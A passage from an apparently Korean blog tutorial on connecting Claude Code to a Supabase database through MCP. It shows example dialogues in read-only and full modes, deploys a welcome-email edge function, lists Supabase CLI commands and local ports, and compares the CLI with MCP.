&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 4: read_only 모드 vs 전체 모드 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프로덕션 DB에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;read_only=true&lt;/code&gt;로 붙었을 때 어떻게 다른지 보여주는 예시.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;read_only 모드 (프로덕션 권장)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; users 테이블에 phone 컬럼 추가해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 현재 read_only 모드로 연결되어 있어서 스키마 변경이 불가능합니다. apply_migration 도구가 비활성화되어 있습니다. 스키마를 변경하려면 개발 환경의 MCP 연결(read_only 파라미터 제거)을 사용하거나 Supabase CLI로 마이그레이션을 적용해야 합니다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px dashed #ccc; margin: 16px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 그러면 intraday_top50_members 테이블에 데이터가 몇 건 있는지 확인해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[execute_sql 호출 &amp;mdash; SELECT count(*) FROM intraday_top50_members &amp;rarr; 정상 실행]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; intraday_top50_members 테이블에 현재 40,400건의 레코드가 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;read_only 모드에서 비활성화되는 tool 목록&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;apply_migration&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;create_project&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;pause_project&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;restore_project&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;deploy_edge_function&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;create_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;delete_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;merge_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;reset_branch&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;rebase_branch&lt;/code&gt;. &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;execute_sql&lt;/code&gt;은 read-only Postgres 사용자로 실행되어 SELECT만 허용된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 5: Edge Function 생성 및 배포&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Edge Function을 Claude Code 대화 안에서 만들고 바로 배포까지 하는 시나리오.&lt;/p&gt;
&lt;!-- SCREENSHOT: Edge Function 배포 대화 흐름 --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 이메일 주소를 받아서 welcome 이메일을 보내는 Edge Function을 만들어서 배포해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; send-welcome-email Edge Function을 생성하겠습니다. Resend API를 사용하는 기본 구현으로 만들겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[deploy_edge_function 호출 &amp;mdash; name: &quot;send-welcome-email&quot;, body: Deno 함수 코드]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 배포가 완료되었습니다. 엔드포인트:&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;POST https://abcdefgh.supabase.co/functions/v1/send-welcome-email&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 테스트 호출 예시&lt;/span&gt;&lt;br /&gt;curl -X POST https://abcdefgh.supabase.co/functions/v1/send-welcome-email \&lt;br /&gt;&amp;nbsp;&amp;nbsp;-H &quot;Authorization: Bearer &amp;lt;anon_key&amp;gt;&quot; \&lt;br /&gt;&amp;nbsp;&amp;nbsp;-H &quot;Content-Type: application/json&quot; \&lt;br /&gt;&amp;nbsp;&amp;nbsp;-d '{&quot;email&quot;: &quot;test@example.com&quot;}'&lt;/div&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; RESEND_API_KEY 환경 변수를 Supabase 대시보드 &amp;rarr; Edge Functions &amp;rarr; send-welcome-email &amp;rarr; Secrets에서 설정해야 실제 이메일이 발송됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 6: TypeScript 타입 자동 생성 후 코드에 반영&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스키마 바꾸고 나서 TypeScript 타입도 같이 맞춰주는 흐름이다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; posts 테이블에 view_count integer 컬럼 추가하고, TypeScript 타입 다시 생성해서 src/types/database.ts 파일 업데이트해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[apply_migration 호출 &amp;mdash; name: &quot;add_view_count_to_posts&quot;]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; view_count 컬럼이 추가되었습니다. 이제 TypeScript 타입을 생성하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[generate_typescript_types 호출 &amp;rarr; 타입 정의 생성]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;[src/types/database.ts 파일에 생성된 타입 저장]&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 완료! posts 테이블 타입에 &lt;code style=&quot;background: #e8e8e8; padding: 1px 4px; border-radius: 3px;&quot;&gt;view_count: number | null&lt;/code&gt;이 추가되었습니다. 기존 코드에서 view_count를 사용하는 부분이 있으면 타입 체크가 자동으로 적용됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt;으로 컬럼 추가하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;generate_typescript_types&lt;/code&gt;로 타입 뽑고, 파일까지 써주는 걸 알아서 해준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: get_advisors 써보기&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_advisors&lt;/code&gt;를 가끔 호출해보면 인덱스 빠진 거, RLS 안 건 테이블, 비효율적인 쿼리 같은 걸 Supabase가 알려준다. 그냥 &quot;내 DB에 문제 있는지 확인해줘&quot;라고 물어보면 된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Supabase CLI vs Supabase MCP 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase CLI와 MCP는 서로 보완 관계다. 둘 다 쓰는 게 편하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Supabase CLI 주요 명령어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 개발 환경 셋업, 마이그레이션 버전 관리, CI/CD 연동 같은 건 MCP보다 CLI가 맞다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 설치&lt;/span&gt;&lt;br /&gt;npm install -g supabase&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 Supabase 환경&lt;/span&gt;&lt;br /&gt;supabase init &lt;span style=&quot;color: #6a9955;&quot;&gt;# 프로젝트 초기화 (supabase/ 폴더 생성)&lt;/span&gt;&lt;br /&gt;supabase start &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 Supabase 스택 시작 (Docker 필요)&lt;/span&gt;&lt;br /&gt;supabase stop &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 스택 중지&lt;/span&gt;&lt;br /&gt;supabase status &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 서비스 상태 확인&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 마이그레이션 관리 (버전 관리 가능한 방식)&lt;/span&gt;&lt;br /&gt;supabase migration new &amp;lt;name&amp;gt; &lt;span style=&quot;color: #6a9955;&quot;&gt;# 새 마이그레이션 파일 생성&lt;/span&gt;&lt;br /&gt;supabase db push &lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 DB에 마이그레이션 적용&lt;/span&gt;&lt;br /&gt;supabase db pull &lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 스키마를 로컬로 가져오기&lt;/span&gt;&lt;br /&gt;supabase db reset &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 DB 초기화 후 마이그레이션 재적용&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# TypeScript 타입 생성&lt;/span&gt;&lt;br /&gt;supabase gen types --lang typescript --local &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 DB 기반 타입 생성&lt;/span&gt;&lt;br /&gt;supabase gen types --lang typescript --project-id &amp;lt;ref&amp;gt; &lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 DB 기반 타입 생성&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# Edge Functions&lt;/span&gt;&lt;br /&gt;supabase functions new &amp;lt;name&amp;gt; &lt;span style=&quot;color: #6a9955;&quot;&gt;# Edge Function 생성&lt;/span&gt;&lt;br /&gt;supabase functions deploy &amp;lt;name&amp;gt; &lt;span style=&quot;color: #6a9955;&quot;&gt;# Edge Function 배포&lt;/span&gt;&lt;br /&gt;supabase functions serve &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬에서 Edge Function 실행&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 스키마 관리 &amp;amp; 품질 검사 (CLI 전용)&lt;/span&gt;&lt;br /&gt;supabase db diff &lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬과 원격 스키마 차이 감지 &amp;rarr; 마이그레이션 자동 생성&lt;/span&gt;&lt;br /&gt;supabase migration squash &lt;span style=&quot;color: #6a9955;&quot;&gt;# 여러 마이그레이션을 하나로 합치기 (이력 정리)&lt;/span&gt;&lt;br /&gt;supabase db lint &lt;span style=&quot;color: #6a9955;&quot;&gt;# Postgres 린트 &amp;mdash; 스키마 안티패턴 검출 (splinter 기반)&lt;/span&gt;&lt;br /&gt;supabase test db &lt;span style=&quot;color: #6a9955;&quot;&gt;# pgTAP 기반 데이터베이스 단위 테스트 실행&lt;/span&gt;&lt;br /&gt;supabase inspect db &lt;span style=&quot;color: #6a9955;&quot;&gt;# 성능 분석 &amp;mdash; 13개 서브커맨드 (bloat, index-usage 등)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 프로젝트 연결&lt;/span&gt;&lt;br /&gt;supabase link --project-ref &amp;lt;ref&amp;gt; &lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 프로젝트와 연결&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;로컬 MCP 연결 (CLI랑 MCP 같이 쓰기)&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase start&lt;/code&gt;로 로컬 스택을 띄우면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;http://localhost:54321/mcp&lt;/code&gt;로 로컬 DB에 MCP 연결이 된다. 개발할 때는 로컬 MCP로, 스테이징/프로덕션 배포는 CLI로 나누면 안전하다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;h4 style=&quot;margin: 0 0 12px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;supabase start 후 로컬 스택 서비스 포트 목록&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;서비스&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;기본 포트&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;API Gateway&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54321&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;Kong 기반 API 게이트웨이 (REST/GraphQL 엔드포인트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;PostgreSQL&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54322&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;로컬 Postgres DB (&lt;code&gt;psql -h localhost -p 54322&lt;/code&gt;로 직접 접속 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Studio&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54323&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;Supabase Studio 웹 UI (브라우저에서 DB 관리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Mailpit&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54324&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;이메일 테스트 서버 (Auth 이메일 확인용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Auth&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54321/auth&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;GoTrue 기반 인증 서비스 (API Gateway 경유)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Storage&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54321/storage&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;파일 스토리지 서비스 (API Gateway 경유)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Realtime&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;54321/realtime&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6;&quot;&gt;WebSocket 기반 실시간 구독 서비스 (API Gateway 경유)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;포트는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;supabase/config.toml&lt;/code&gt;에서 변경할 수 있다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px;&quot;&gt;supabase status&lt;/code&gt; 명령어로 실행 중인 서비스와 포트를 한눈에 확인 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Supabase CLI&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #cce5ff; color: #1a3a52;&quot;&gt;Supabase MCP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;사용 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;터미널 명령어 직접 입력&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;AI 에이전트가 자동 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;로컬 개발&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;supabase start&lt;/code&gt;로 로컬 Supabase 실행&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;로컬 CLI 사용 시 &lt;code&gt;localhost:54321/mcp&lt;/code&gt; 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;마이그레이션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;supabase migration new&lt;/code&gt; 후 파일 직접 작성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;apply_migration으로 AI가 자동 생성 및 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;TypeScript 타입&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;supabase gen types --lang typescript&lt;/code&gt; 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;generate_typescript_types로 자동 생성 후 파일에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;SQL 실행&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;psql&lt;/code&gt; 또는 대시보드 SQL Editor&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;execute_sql로 자연어 &amp;rarr; SQL 자동 변환 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;CI/CD 통합&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;GitHub Actions 등 파이프라인에 직접 통합&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;PAT 방식으로 CI 환경에서도 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;적합한 상황&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;로컬 환경 관리, CI/CD 자동화&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #dee2e6;&quot;&gt;스키마 설계, 데이터 분석, 개발 중 빠른 DB 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장 조합:&lt;/b&gt; 로컬 환경 셋업이랑 CI/CD는 CLI로, 스키마 설계랑 데이터 분석은 MCP로 나눠 쓰면 된다. 실제로 이렇게 나눠 쓰니까 작업 흐름이 꽤 깔끔했다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP 전용 vs CLI 전용 &amp;mdash; 배타적 기능 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP와 CLI는 겹치는 부분도 있는데, 각자만 되는 게 있다. 이걸 알아야 어떤 상황에서 뭘 쓸지 판단이 빨라진다.&lt;/p&gt;
&lt;div style=&quot;display: flex; gap: 16px; margin: 20px 0; flex-wrap: wrap;&quot;&gt;
&lt;div style=&quot;flex: 1; min-width: 280px; background: linear-gradient(135deg, #e8f4f8 0%, #f0f7ff 100%); border: 2px solid #0066cc; border-radius: 12px; padding: 20px;&quot;&gt;
&lt;h4 style=&quot;margin: 0 0 14px 0; font-size: 16px; color: #0066cc; border-bottom: 2px solid #cce5ff; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;MCP 전용 기능&lt;/h4&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2.0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
